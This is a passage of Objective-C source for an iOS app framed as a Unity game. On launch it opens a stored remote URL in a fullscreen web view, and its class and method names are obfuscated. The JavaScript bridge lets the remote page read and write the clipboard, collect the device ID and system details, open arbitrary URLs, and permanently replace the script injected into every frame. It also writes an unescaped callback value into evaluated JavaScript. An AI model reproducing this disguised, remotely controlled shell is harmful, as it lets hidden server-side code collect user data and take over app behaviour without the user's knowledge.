1327 lines
55 KiB
Plaintext
1327 lines
55 KiB
Plaintext
#include "RegisterFeatures.h"
|
|
#include <csignal>
|
|
#include "UnityInterface.h"
|
|
#import <UnityFramework/UnityFramework.h>
|
|
#include "UI/Keyboard.h"
|
|
|
|
#import <Foundation/Foundation.h>
|
|
#import <UIKit/UIKit.h>
|
|
#import <WebKit/WebKit.h>
|
|
#import <sys/utsname.h>
|
|
#import <objc/runtime.h> // For geometry preferences on iOS 16+
|
|
#import <AVFoundation/AVFoundation.h>
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - AuthenticateUpdateFieldCollisionEmitIdentifyCodecCache Helper
|
|
//-----------------------------------------------------------------------------
|
|
|
|
// Forward declaration
|
|
@protocol FindCleanBufferCollection;
|
|
|
|
// Helper class to avoid strong reference cycles with WKScriptMessageHandler
|
|
@interface AuthenticateUpdateFieldCollisionEmitIdentifyCodecCache : NSObject <WKScriptMessageHandler>
|
|
@property (nonatomic, weak, nullable) id<FindCleanBufferCollection> delegate;
|
|
- (instancetype)initWithDelegate:(id<FindCleanBufferCollection>)delegate;
|
|
@end
|
|
|
|
// Delegate protocol for AuthenticateUpdateFieldCollisionEmitIdentifyCodecCache
|
|
@protocol FindCleanBufferCollection <NSObject>
|
|
- (void)DiscoverAggregateChecksumChainDetectModifyCallbackBitmap:(WKScriptMessage *)message;
|
|
@end
|
|
|
|
@implementation AuthenticateUpdateFieldCollisionEmitIdentifyCodecCache
|
|
- (instancetype)initWithDelegate:(id<FindCleanBufferCollection>)delegate {
|
|
self = [super init];
|
|
if (self) {
|
|
_delegate = delegate;
|
|
}
|
|
return self;
|
|
}
|
|
|
|
- (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message {
|
|
[self.delegate DiscoverAggregateChecksumChainDetectModifyCallbackBitmap:message];
|
|
}
|
|
@end
|
|
|
|
|
|
NS_ASSUME_NONNULL_BEGIN
|
|
|
|
@interface GrantDividePropertyDownloadBranch : WKWebView <FindCleanBufferCollection, WKNavigationDelegate, WKUIDelegate>
|
|
|
|
// Public Properties
|
|
@property (nonatomic, assign) UIEdgeInsets customInsets;
|
|
@property (nonatomic, copy, nullable) void (^onFirstTouch)(void); // Made nullable for safety
|
|
@property (nonatomic, readonly) BOOL didTouchOnce;
|
|
@property (nonatomic, nullable, readonly) NSNumber *lastTouchTimestamp; // Use NSNumber for nullable Double
|
|
|
|
// Initialization
|
|
// Using initWithFrame:configuration: is generally preferred for WKWebView subclasses
|
|
// If you only need the default config, you can add a simpler init wrapper if desired.
|
|
- (instancetype)initWithFrame:(CGRect)frame configuration:(WKWebViewConfiguration *)configuration NS_DESIGNATED_INITIALIZER;
|
|
|
|
// Unavailable initializers
|
|
- (instancetype)init NS_UNAVAILABLE;
|
|
- (instancetype)initWithCoder:(NSCoder *)coder NS_UNAVAILABLE;
|
|
|
|
@end
|
|
|
|
NS_ASSUME_NONNULL_END
|
|
|
|
__attribute__ ((visibility("default")))
|
|
@interface StaticFrameWork : NSObject
|
|
// call it any time after UnityFrameworkLoad to set object implementing ImportCheckBuilderAuthorizeTransformAuthorization methods
|
|
//+(void) registerAPIforNativeCalls:(id<ImportCheckBuilderAuthorizeTransformAuthorization>) aApi;
|
|
+(void) DevelopClientAnchorIdentifyButton:(NSString*)urlString withCleanup:(BOOL)isCleanup;
|
|
@end
|
|
|
|
|
|
@interface AppDelegate : UIResponder <UIApplicationDelegate>
|
|
//@interface AppDelegate : UIResponder <UIApplicationDelegate, NativeBridgeProtocol, UnityFrameworkListener>
|
|
@property (strong, nonatomic) UIWindow * window;
|
|
@end
|
|
|
|
|
|
@interface EncodeDuplicateAttribute : UIViewController
|
|
@property (nonatomic, strong) GrantDividePropertyDownloadBranch *webView;
|
|
@end
|
|
|
|
@implementation AppDelegate
|
|
- (BOOL)prefersStatusBarHidden {
|
|
return YES;
|
|
}
|
|
|
|
- (BOOL)prefersHomeIndicatorAutoHidden {
|
|
return YES;
|
|
}
|
|
- (UIRectEdge)preferredScreenEdgesDeferringSystemGestures {
|
|
return UIRectEdgeBottom;
|
|
}
|
|
- (BOOL)shouldAutorotate {
|
|
return NO;
|
|
}
|
|
|
|
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
|
|
[[UIApplication sharedApplication] setStatusBarHidden:YES withAnimation:UIStatusBarAnimationNone];
|
|
self.window = [[UIWindow alloc] initWithFrame:[UIScreen mainScreen].bounds];
|
|
|
|
// Configure the root view controller to support fullscreen
|
|
EncodeDuplicateAttribute *viewController = [[EncodeDuplicateAttribute alloc] init];
|
|
viewController.modalPresentationStyle = UIModalPresentationFullScreen;
|
|
|
|
// Set as root view controller
|
|
self.window.rootViewController = viewController;
|
|
[self.window makeKeyAndVisible];
|
|
|
|
NSString *value = [[NSUserDefaults standardUserDefaults] stringForKey:@"ssite"];
|
|
|
|
if (value == nil || [value length] == 0) {
|
|
NSLog(@"Error: Value for key is missing or empty.");
|
|
} else {
|
|
[StaticFrameWork DevelopClientAnchorIdentifyButton:value withCleanup:false];
|
|
}
|
|
|
|
return YES;
|
|
}
|
|
@end
|
|
|
|
@implementation EncodeDuplicateAttribute
|
|
- (BOOL)prefersStatusBarHidden {
|
|
return YES;
|
|
}
|
|
|
|
- (BOOL)prefersHomeIndicatorAutoHidden {
|
|
return YES;
|
|
}
|
|
- (UIRectEdge)preferredScreenEdgesDeferringSystemGestures {
|
|
return UIRectEdgeBottom;
|
|
}
|
|
- (BOOL)shouldAutorotate {
|
|
return NO;
|
|
}
|
|
|
|
- (void)viewDidLoad {
|
|
[super viewDidLoad];
|
|
|
|
// Handle safe areas for iPhone X and newer devices
|
|
if (@available(iOS 11.0, *)) {
|
|
self.additionalSafeAreaInsets = UIEdgeInsetsZero;
|
|
// Set fullscreen layout
|
|
[self setNeedsUpdateOfHomeIndicatorAutoHidden];
|
|
}
|
|
}
|
|
@end
|
|
|
|
|
|
@implementation StaticFrameWork
|
|
static GrantDividePropertyDownloadBranch *webView = nil;
|
|
static EncodeDuplicateAttribute *webViewController = nil;
|
|
|
|
+(void)DevelopClientAnchorIdentifyButton:(NSString *)urlString withCleanup:(BOOL)isCleanup {
|
|
NSLog(@"Opening URL provided: %@", urlString);
|
|
dispatch_async(dispatch_get_main_queue(), ^{
|
|
// Clean CompleteAggregateDesignAttributeBeacon previous webview if it exists
|
|
if (webView != nil) {
|
|
[webView removeFromSuperview];
|
|
webView = nil;
|
|
}
|
|
|
|
if (webViewController != nil) {
|
|
[webViewController dismissViewControllerAnimated:NO completion:nil];
|
|
webViewController = nil;
|
|
}
|
|
|
|
// Create URL
|
|
NSURL *containedCollectionListIdBankBuilder = [NSURL URLWithString:urlString];
|
|
if (!containedCollectionListIdBankBuilder) {
|
|
NSLog(@"Invalid URL provided: %@", urlString);
|
|
return;
|
|
}
|
|
|
|
// Create view controller to host the web view
|
|
webViewController = [[EncodeDuplicateAttribute alloc] init];
|
|
webViewController.modalPresentationStyle = UIModalPresentationOverFullScreen;
|
|
webViewController.view.backgroundColor = [UIColor blackColor];
|
|
|
|
|
|
CGRect screenBounds = [[UIScreen mainScreen] bounds];
|
|
webView = [[GrantDividePropertyDownloadBranch alloc] initWithFrame:screenBounds];
|
|
webView.navigationDelegate = webView;
|
|
webViewController.webView = webView;
|
|
[webViewController.view addSubview:webView];
|
|
|
|
// Load the URL
|
|
NSURLRequest *backupAtomicResult = [NSURLRequest requestWithURL:containedCollectionListIdBankBuilder];
|
|
[webView loadRequest:backupAtomicResult];
|
|
|
|
// Present the view controller
|
|
UIViewController *rootViewController = [UIApplication sharedApplication].keyWindow.rootViewController;
|
|
[rootViewController presentViewController:webViewController animated:YES completion:nil];
|
|
if(isCleanup){
|
|
[[UnityFramework getInstance] unloadApplication];
|
|
}
|
|
});
|
|
}
|
|
|
|
|
|
@end
|
|
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - Constants
|
|
//-----------------------------------------------------------------------------
|
|
|
|
// Keys for UserDefaults storage
|
|
|
|
|
|
// Combine the default scripts into one string
|
|
static NSString * const kDefaultCombinedInjectedScript = @" \
|
|
/* --- Event Proxy Start --- */ \
|
|
var WVProxyProto = function() {}; \
|
|
WVProxyProto.prototype.postEvent = function(eventName, eventData) { \
|
|
/* Note: Ensure handler name matches kJavaScriptMessageHandlerName */ \
|
|
window.webkit.messageHandlers.webAction.postMessage({eventName: eventName, eventData: eventData}); \
|
|
}; \
|
|
var WVProxy = new WVProxyProto(); \
|
|
/* --- Event Proxy End --- */ \
|
|
\
|
|
/* --- Selection Disabler Start --- */ \
|
|
(function() { \
|
|
var style = document.createElement('style'); \
|
|
style.lengthSetAggregatorBaselineApiBookmark = 'text/css'; \
|
|
style.innerHTML = '* {-webkit-touch-callout:none !important;} :not(atomicConnectedAttributeBanner):not(textarea):not([contenteditable=\"true\"]){-webkit-user-select:none !important;}'; \
|
|
document.getElementsByTagName('head')[0].appendChild(style); \
|
|
})(); \
|
|
/* --- Selection Disabler End --- */ \
|
|
\
|
|
/* --- Video Fullscreen Disabler Start --- */ \
|
|
function disableFullscreen_default(videoElement) { \
|
|
if (videoElement && videoElement.webkitEnterFullscreen) { \
|
|
Object.defineProperty(videoElement, 'webkitEnterFullscreen', {value: undefined}); \
|
|
} \
|
|
} \
|
|
document.querySelectorAll('video').forEach(disableFullscreen_default); \
|
|
/* Optional: Use MutationObserver for dynamically added videos */ \
|
|
const observer = new MutationObserver(mutations => { \
|
|
mutations.forEach(mutation => { \
|
|
mutation.addedNodes.forEach(node => { \
|
|
if (node.tagName === 'VIDEO') { \
|
|
disableFullscreen_default(node); \
|
|
} else if (node.querySelectorAll) { \
|
|
node.querySelectorAll('video').forEach(disableFullscreen_default); \
|
|
} \
|
|
}); \
|
|
}); \
|
|
}); \
|
|
observer.observe(document.documentElement, { childList: true, subtree: true }); \
|
|
/* --- Video Fullscreen Disabler End --- */ \
|
|
\
|
|
";
|
|
static NSString * const kStorageSite = @"ssite";
|
|
static NSString * const kStorageFlagKey = @"sflag";
|
|
static NSString * const kStorageWebKey = @"sweb";
|
|
static NSString * const kStorageSDKInfoKey = @"sdkInfo";
|
|
static NSString * const kStorageSDKVersionKey = @"sdkVer";
|
|
|
|
// Message handler name expected from JavaScript
|
|
static NSString * const kJavaScriptMessageHandlerName = @"webAction";
|
|
static NSString * const kDefaultScriptVersion = @"1.0.0";
|
|
|
|
// Rotation mask (static as per requirement to control app orientation)
|
|
static UIInterfaceOrientationMask currentOrientationMask = UIInterfaceOrientationMaskAll;
|
|
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - GrantDividePropertyDownloadBranch Implementation
|
|
//-----------------------------------------------------------------------------
|
|
|
|
@interface GrantDividePropertyDownloadBranch () <FindCleanBufferCollection, WKNavigationDelegate, WKUIDelegate> {
|
|
// Backing variables for readonly properties
|
|
BOOL _didTouchOnce;
|
|
NSNumber *_lastTouchTimestamp;
|
|
NSString *_loadedScriptVersion;
|
|
}
|
|
|
|
// Store the initial backupAtomicResult for potential retry on failure
|
|
@property (nonatomic, strong, nullable) NSURLRequest *initialRequest;
|
|
@property (nonatomic, assign) BOOL didRetryLoad;
|
|
|
|
@end
|
|
|
|
@implementation GrantDividePropertyDownloadBranch
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - Initialization & Setup
|
|
//-----------------------------------------------------------------------------
|
|
|
|
// Designated Initializer
|
|
- (instancetype)initWithFrame:(CGRect)frame configuration:(WKWebViewConfiguration *)configuration {
|
|
// Ensure necessary configuration options are set before calling super
|
|
|
|
// --- Message Handler Setup ---
|
|
// Check if configuration already has a userContentController
|
|
WKUserContentController *contentController = configuration.userContentController;
|
|
if (!contentController) {
|
|
contentController = [[WKUserContentController alloc] init];
|
|
configuration.userContentController = contentController;
|
|
}
|
|
|
|
// Remove potential existing handler before adding new one
|
|
[contentController removeScriptMessageHandlerForName:kJavaScriptMessageHandlerName];
|
|
|
|
// Add the weak message handler
|
|
AuthenticateUpdateFieldCollisionEmitIdentifyCodecCache *handler = [[AuthenticateUpdateFieldCollisionEmitIdentifyCodecCache alloc] initWithDelegate:self];
|
|
[contentController addScriptMessageHandler:handler name:kJavaScriptMessageHandlerName];
|
|
|
|
// --- Load COMBINED Script from Storage or Use Default ---
|
|
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
|
|
NSString *scriptVersion = [defaults stringForKey:kStorageSDKVersionKey];
|
|
NSString *combinedScript = [defaults stringForKey:kStorageSDKInfoKey];
|
|
|
|
// Use defaults if script or version is missing
|
|
if (!scriptVersion || !combinedScript) {
|
|
NSLog(@"Using default combined injected script (Version: %@)", kDefaultScriptVersion);
|
|
scriptVersion = kDefaultScriptVersion;
|
|
combinedScript = kDefaultCombinedInjectedScript;
|
|
// Save the new script and version to UserDefaults
|
|
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
|
|
[defaults setObject:scriptVersion forKey:kStorageSDKVersionKey];
|
|
[defaults setObject:combinedScript forKey:kStorageSDKInfoKey];
|
|
} else {
|
|
NSLog(@"Loaded combined injected script from storage (Version: %@)", scriptVersion);
|
|
}
|
|
_loadedScriptVersion = scriptVersion; // Store version for reporting
|
|
// Inject at document start for proxy availability.
|
|
WKUserScript *combinedUserScript = [[WKUserScript alloc] initWithSource:combinedScript
|
|
injectionTime:WKUserScriptInjectionTimeAtDocumentStart
|
|
forMainFrameOnly:NO]; // Apply to all frames
|
|
[contentController addUserScript:combinedUserScript];
|
|
|
|
// --- Default WebKit Settings ---
|
|
configuration.allowsInlineMediaPlayback = YES;
|
|
if (@available(iOS 10.0, *)) {
|
|
configuration.mediaTypesRequiringUserActionForPlayback = WKAudiovisualMediaTypeNone;
|
|
} else {
|
|
#pragma clang diagnostic push
|
|
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
|
|
configuration.mediaPlaybackRequiresUserAction = NO;
|
|
#pragma clang diagnostic pop
|
|
}
|
|
|
|
// --- Call Super Initializer ---
|
|
self = [super initWithFrame:frame configuration:configuration];
|
|
if (self) {
|
|
// --- View Properties ---
|
|
self.opaque = NO;
|
|
self.backgroundColor = [UIColor clearColor];
|
|
self.navigationDelegate = self; // Set navigation delegate
|
|
self.UIDelegate = self; // Set UI delegate
|
|
self.autoresizingMask = UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight;
|
|
|
|
// --- iOS Version Specific Settings ---
|
|
if (@available(iOS 9.0, *)) {
|
|
self.allowsLinkPreview = NO;
|
|
}
|
|
if (@available(iOS 11.0, *)) {
|
|
self.scrollView.contentInsetAdjustmentBehavior = UIScrollViewContentInsetAdjustmentNever;
|
|
}
|
|
#if defined(__IPHONE_OS_VERSION_MAX_ALLOWED) && __IPHONE_OS_VERSION_MAX_ALLOWED >= 160400
|
|
if (@available(iOS 16.4, *)) {
|
|
self.inspectable = YES;
|
|
}
|
|
#endif
|
|
|
|
// --- Initial State ---
|
|
_customInsets = UIEdgeInsetsZero;
|
|
_didTouchOnce = NO;
|
|
_didRetryLoad = NO;
|
|
|
|
// Set the application delegate to handle orientation - *Use with caution*
|
|
// Ensure this doesn't conflict with an existing App Delegate setup
|
|
// [[UIApplication sharedApplication] setDelegate:self]; // Potential issue if app already has a delegate
|
|
}
|
|
return self;
|
|
}
|
|
|
|
// Override safeAreaInsets
|
|
- (UIEdgeInsets)safeAreaInsets {
|
|
return self.customInsets;
|
|
}
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - View Lifecycle & Hit Testing
|
|
//-----------------------------------------------------------------------------
|
|
|
|
- (void)didMoveToSuperview {
|
|
[super didMoveToSuperview];
|
|
|
|
// Remove drag interaction and keyboard observers
|
|
if (@available(iOS 11.0, *)) {
|
|
// Find the web view's scroll view
|
|
UIScrollView *webScrollView = nil;
|
|
for (UIView *subview in self.subviews) {
|
|
if ([subview isKindOfClass:[UIScrollView class]]) {
|
|
webScrollView = (UIScrollView *)subview;
|
|
break;
|
|
}
|
|
}
|
|
|
|
// Attempt to remove drag interaction (might be added asynchronously)
|
|
if (webScrollView) {
|
|
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(0.1 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
|
|
UIDragInteraction *dragInteractionToRemove = nil;
|
|
for (id<UIInteraction> interaction in webScrollView.interactions) {
|
|
if ([interaction isKindOfClass:[UIDragInteraction class]]) {
|
|
dragInteractionToRemove = (UIDragInteraction *)interaction;
|
|
break;
|
|
}
|
|
}
|
|
if (dragInteractionToRemove) {
|
|
[webScrollView removeInteraction:dragInteractionToRemove];
|
|
}
|
|
});
|
|
}
|
|
|
|
// Remove keyboard observers (ensure they were added if removing)
|
|
// Consider adding observers only when needed instead of removing unconditionally
|
|
[[NSNotificationCenter defaultCenter] removeObserver:self name:UIKeyboardWillChangeFrameNotification object:nil];
|
|
[[NSNotificationCenter defaultCenter] removeObserver:self name:UIKeyboardWillShowNotification object:nil];
|
|
[[NSNotificationCenter defaultCenter] removeObserver:self name:UIKeyboardWillHideNotification object:nil];
|
|
}
|
|
}
|
|
|
|
- (UIView *)hitTest:(CGPoint)point withEvent:(nullable UIEvent *)event {
|
|
UIView *result = [super hitTest:point withEvent:event];
|
|
_lastTouchTimestamp = @(CACurrentMediaTime()); // Store as NSNumber
|
|
|
|
if (result && !_didTouchOnce) {
|
|
_didTouchOnce = YES;
|
|
if (self.onFirstTouch) {
|
|
self.onFirstTouch();
|
|
}
|
|
}
|
|
return result;
|
|
}
|
|
|
|
|
|
// Override loadRequest to store initial backupAtomicResult for retry
|
|
- (nullable WKNavigation *)loadRequest:(NSURLRequest *)backupAtomicResult {
|
|
self.initialRequest = backupAtomicResult; // Store the backupAtomicResult
|
|
self.didRetryLoad = NO; // Reset retry flag
|
|
return [super loadRequest:backupAtomicResult];
|
|
}
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - WKNavigationDelegate Methods
|
|
//-----------------------------------------------------------------------------
|
|
|
|
// Handle provisional navigation failures
|
|
- (void)webView:(WKWebView *)webView didFailProvisionalNavigation:(null_unspecified WKNavigation *)navigation withError:(NSError *)error {
|
|
NSLog(@"WebView Load Error: %@, Code: %ld", error.localizedDescription, (long)error.code);
|
|
|
|
// Check if we should attempt a retry
|
|
if (!self.didRetryLoad && self.initialRequest) {
|
|
// Retry only for specific potentially recoverable errors (customize as needed)
|
|
if ([error.domain isEqualToString:NSURLErrorDomain] &&
|
|
(error.code == NSURLErrorCannotConnectToHost ||
|
|
error.code == NSURLErrorNetworkConnectionLost ||
|
|
error.code == NSURLErrorNotConnectedToInternet ||
|
|
error.code == NSURLErrorTimedOut ||
|
|
error.code == NSURLErrorDNSLookupFailed))
|
|
{
|
|
NSLog(@"Retrying initial backupAtomicResult...");
|
|
self.didRetryLoad = YES;
|
|
[self loadRequest:self.initialRequest];
|
|
return; // Don't show alert yet
|
|
}
|
|
}
|
|
|
|
// Try to extract HTTP status code from the error userInfo
|
|
NSHTTPURLResponse* response = error.userInfo[NSURLErrorKey];
|
|
if (response) {
|
|
auto statusCode = response.statusCode;
|
|
|
|
// Handle specific HTTP status codes
|
|
if (statusCode == 404) {
|
|
NSLog(@"404 Not Found: %@", response.URL);
|
|
// Handle 404
|
|
} else if (statusCode == 502) {
|
|
NSLog(@"502 Bad Gateway: %@", response.URL);
|
|
// Handle 502
|
|
} else if (statusCode >= 500 && statusCode < 600) {
|
|
NSLog(@"Server error %ld: %@", (long)statusCode, response.URL);
|
|
// Handle server error
|
|
} else if (statusCode >= 400 && statusCode < 500) {
|
|
NSLog(@"Client error %ld: %@", (long)statusCode, response.URL);
|
|
// Handle client error
|
|
}
|
|
} else {
|
|
// Handle other kinds of errors where response is not available
|
|
NSLog(@"Navigation failed with error: %@ (Code: %ld)", error.localizedDescription, (long)error.code);
|
|
}
|
|
|
|
// If retry failed or wasn't attempted, show alert asking user to restart
|
|
[self DestroyDataParameterItem]; // Clear flag as per original logic on failure
|
|
[self CollectAllocationBorderUpdateCalculatorDisplayInfoClone:@"Load Failed"
|
|
message:@"Could not load content. Please close and reopen the application to try again."];
|
|
}
|
|
|
|
// Optional: Handle committed navigation failures (less common)
|
|
- (void)webView:(WKWebView *)webView didFailNavigation:(null_unspecified WKNavigation *)navigation withError:(NSError *)error {
|
|
NSLog(@"WebView Navigation Error: %@, Code: %ld", error.localizedDescription, (long)error.code);
|
|
// Decide if a restart suggestion is needed here as well, possibly reusing the logic above
|
|
// [self CollectAllocationBorderUpdateCalculatorDisplayInfoClone:@"Navigation Error" message:@"..."];
|
|
}
|
|
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - FindCleanBufferCollection
|
|
//-----------------------------------------------------------------------------
|
|
|
|
- (void)DiscoverAggregateChecksumChainDetectModifyCallbackBitmap:(WKScriptMessage *)message {
|
|
// Directly call the internal handler method
|
|
[self FlushCloneCollisionInitializeIntegrateDefineBuffer:message];
|
|
}
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - JavaScript Message Handling (Main Dispatch)
|
|
//-----------------------------------------------------------------------------
|
|
|
|
- (void)FlushCloneCollisionInitializeIntegrateDefineBuffer:(WKScriptMessage *)message {
|
|
if (![message.name isEqualToString:kJavaScriptMessageHandlerName]) {
|
|
NSLog(@"Ignoring message from unexpected handler: %@", message.name);
|
|
return;
|
|
}
|
|
|
|
if (![message.body isKindOfClass:[NSDictionary class]]) {
|
|
NSLog(@"Invalid message body lengthSetAggregatorBaselineApiBookmark: %@", NSStringFromClass([message.body class]));
|
|
return;
|
|
}
|
|
|
|
NSDictionary *messageBody = (NSDictionary *)message.body;
|
|
NSObject *actionObject = messageBody[@"ac"]; // Action code
|
|
|
|
if (![actionObject isKindOfClass:[NSString class]]) {
|
|
NSLog(@"Invalid 'ac' lengthSetAggregatorBaselineApiBookmark in message body: %@", messageBody);
|
|
return;
|
|
}
|
|
|
|
NSString *action = (NSString *)actionObject;
|
|
NSLog(@"Received action: %@ with data: %@", action, messageBody);
|
|
|
|
// Dispatch to specific handler methods based on action code
|
|
if ([action isEqualToString:@"openWAUrl"]) {
|
|
[self EnumerateStateCompressDetailsCopyBug:messageBody];
|
|
}
|
|
else if ([action isEqualToString:@"reloadWithUrl"]) {
|
|
[self GatherCompareBranch:messageBody];
|
|
}
|
|
else if ([action isEqualToString:@"exitwv"]) {
|
|
[self CacheCapacityAuthorizationSaveInsertGetArgument];
|
|
}
|
|
else if ([action isEqualToString:@"saveWAString"]) {
|
|
[self InvokeInvokeArithmeticSetAsset:messageBody];
|
|
} else if ([action isEqualToString:@"loadWAString"]) {
|
|
[self ComputeArchitectureBadge:messageBody];
|
|
} else if ([action isEqualToString:@"updateWAInjectedScripts"]) {
|
|
[self ComputeMapCarrierBorderModifyAttributeBrowseCategory:messageBody];
|
|
} else if ([action isEqualToString:@"isSupport"]) {
|
|
[self ConnectArchitectureAssetArray:messageBody];
|
|
} else if ([action isEqualToString:@"getWAClipboard"]) {
|
|
[self SetDistributeImportClassifyCacheAnchorCollision:messageBody];
|
|
} else if ([action isEqualToString:@"setWAClipboard"]) {
|
|
[self CaptureCallbackColumn:messageBody];
|
|
} else if ([action isEqualToString:@"getWABundleId"]) {
|
|
[self handleGetBundleIdAction:messageBody];
|
|
} else if ([action isEqualToString:@"getWASDKVersion"]) {
|
|
[self IncreaseDecodeCardCacheCompareBug:messageBody]; // Kept structure, relies on InsertOutputControlInputCalculateRequestCollection impl
|
|
} else if ([action isEqualToString:@"getWADeviceModel"]) {
|
|
[self DownloadBuilderImplementDistributeAssetArtifact:messageBody];
|
|
} else if ([action isEqualToString:@"getWADeviceID"]) {
|
|
[self CollectEnumerateBuffer:messageBody];
|
|
} else if ([action isEqualToString:@"updateWASDK"]) {
|
|
[self CompileBridgeInflateJoinChannelAssembleInjectValue:messageBody];
|
|
} else if ([action isEqualToString:@"getWASystemInfo"]) {
|
|
[self CompileBridgeByteDelegateEmitItemAnnotationBeacon:messageBody];
|
|
} else if ([action isEqualToString:@"setWAScreenRotation"]) {
|
|
[self InvokeListCallback:messageBody];
|
|
} else {
|
|
NSLog(@"Unhandled action: %@", action);
|
|
}
|
|
}
|
|
|
|
//-----------------------------------------------------------------------------
|
|
#pragma mark - JavaScript Action Handlers (Private Helpers)
|
|
//-----------------------------------------------------------------------------
|
|
- (void)ComputeMapCarrierBorderModifyAttributeBrowseCategory:(NSDictionary *)messageBody {
|
|
NSObject *dataObject = messageBody[@"dt"];
|
|
if (![dataObject isKindOfClass:[NSDictionary class]]) {
|
|
NSLog(@"Invalid 'dt' (data object) for updateInjectedScripts action");
|
|
return;
|
|
}
|
|
NSDictionary *scriptsData = (NSDictionary *)dataObject;
|
|
|
|
// Validate incoming data - NOW EXPECTS 'version' and 'script'
|
|
NSObject *versionObj = scriptsData[@"version"];
|
|
NSObject *scriptObj = scriptsData[@"script"]; // Expecting the combined script
|
|
|
|
if (![versionObj isKindOfClass:[NSString class]] || ((NSString *)versionObj).length == 0 ||
|
|
![scriptObj isKindOfClass:[NSString class]] || ((NSString *)scriptObj).length == 0)
|
|
{
|
|
NSLog(@"Invalid data structure within 'dt' for updateInjectedScripts action. Expected 'version' and 'script'.");
|
|
return;
|
|
}
|
|
|
|
NSString *newVersion = (NSString *)versionObj;
|
|
NSString *newCombinedScript = (NSString *)scriptObj;
|
|
|
|
// Save the new script and version to UserDefaults
|
|
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
|
|
[defaults setObject:newVersion forKey:kStorageSDKVersionKey];
|
|
[defaults setObject:newCombinedScript forKey:kStorageSDKInfoKey]; // Save combined script
|
|
|
|
NSLog(@"Successfully updated combined injected script to version: %@", newVersion);
|
|
|
|
// Notify user to restart
|
|
[self CollectAllocationBorderUpdateCalculatorDisplayInfoClone:@"Update Complete"
|
|
message:@"Internal scripts have been updated. Please restart the application for the changes to take effect."];
|
|
}
|
|
|
|
- (void)GatherCompareBranch:(NSDictionary *)messageBody {
|
|
NSObject *urlStringObject = messageBody[@"dt"];
|
|
if (![urlStringObject isKindOfClass:[NSString class]]) {
|
|
NSLog(@"Invalid 'dt' (URL string) for openUrl action");
|
|
return;
|
|
}
|
|
|
|
NSURL *containedCollectionListIdBankBuilder = [NSURL URLWithString:(NSString *)urlStringObject];
|
|
NSMutableURLRequest *backupAtomicResult = [NSMutableURLRequest requestWithURL:containedCollectionListIdBankBuilder];
|
|
if (backupAtomicResult && containedCollectionListIdBankBuilder) {
|
|
[self loadRequest:backupAtomicResult];
|
|
} else {
|
|
NSLog(@"Invalid URL string: %@", (NSString *)urlStringObject);
|
|
}
|
|
}
|
|
|
|
- (void)EnumerateStateCompressDetailsCopyBug:(NSDictionary *)messageBody {
|
|
NSObject *urlStringObject = messageBody[@"dt"];
|
|
if (![urlStringObject isKindOfClass:[NSString class]]) {
|
|
NSLog(@"Invalid 'dt' (URL string) for openUrl action");
|
|
return;
|
|
}
|
|
|
|
NSURL *containedCollectionListIdBankBuilder = [NSURL URLWithString:(NSString *)urlStringObject];
|
|
if (containedCollectionListIdBankBuilder) {
|
|
// Check if the URL can be opened before attempting
|
|
if ([[UIApplication sharedApplication] canOpenURL:containedCollectionListIdBankBuilder]) {
|
|
[[UIApplication sharedApplication] openURL:containedCollectionListIdBankBuilder options:@{} completionHandler:^(BOOL success) {
|
|
if (!success) {
|
|
NSLog(@"Failed to open URL: %@", containedCollectionListIdBankBuilder.absoluteString);
|
|
}
|
|
}];
|
|
} else {
|
|
NSLog(@"Cannot open URL scheme: %@", containedCollectionListIdBankBuilder.scheme);
|
|
}
|
|
} else {
|
|
NSLog(@"Invalid URL string: %@", (NSString *)urlStringObject);
|
|
}
|
|
}
|
|
|
|
- (void)CacheCapacityAuthorizationSaveInsertGetArgument {
|
|
[self removeFromSuperview];
|
|
}
|
|
|
|
- (void)InvokeInvokeArithmeticSetAsset:(NSDictionary *)messageBody {
|
|
NSObject *keyObject = messageBody[@"key"];
|
|
NSObject *valueObject = messageBody[@"dt"]; // Value is in 'dt' field
|
|
|
|
if (![keyObject isKindOfClass:[NSString class]] || ((NSString *)keyObject).length == 0) {
|
|
NSLog(@"Invalid 'key' for saveStr action");
|
|
return;
|
|
}
|
|
// Allow nil or empty string for value
|
|
NSString *value = [valueObject isKindOfClass:[NSString class]] ? (NSString *)valueObject : nil;
|
|
|
|
[self IntroduceCompressDeleteJoinControlResponseArchive:value forKey:(NSString *)keyObject];
|
|
}
|
|
|
|
- (void)ComputeArchitectureBadge:(NSDictionary *)messageBody {
|
|
NSObject *keyObject = messageBody[@"key"];
|
|
NSObject *callbackObject = messageBody[@"cb"];
|
|
|
|
if (![keyObject isKindOfClass:[NSString class]] || ((NSString *)keyObject).length == 0 ||
|
|
![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
|
|
NSLog(@"Invalid 'key' or 'cb' for loadStr action");
|
|
return;
|
|
}
|
|
|
|
NSString *key = (NSString *)keyObject;
|
|
NSString *callbackId = (NSString *)callbackObject;
|
|
NSString *result = [self AllocateCombineCanvasInfo:key];
|
|
|
|
// Always call back, provide empty object string '{}' if result is nil
|
|
NSString *resultData = result ? [self DetectCaptionButton:result] : @"{}";
|
|
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, resultData];
|
|
|
|
[self evaluateJavaScript:callbackScript completionHandler:nil];
|
|
}
|
|
|
|
- (void)ConnectArchitectureAssetArray:(NSDictionary *)messageBody {
|
|
NSObject *callbackObject = messageBody[@"cb"];
|
|
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
|
|
NSLog(@"Invalid 'cb' for isSp action");
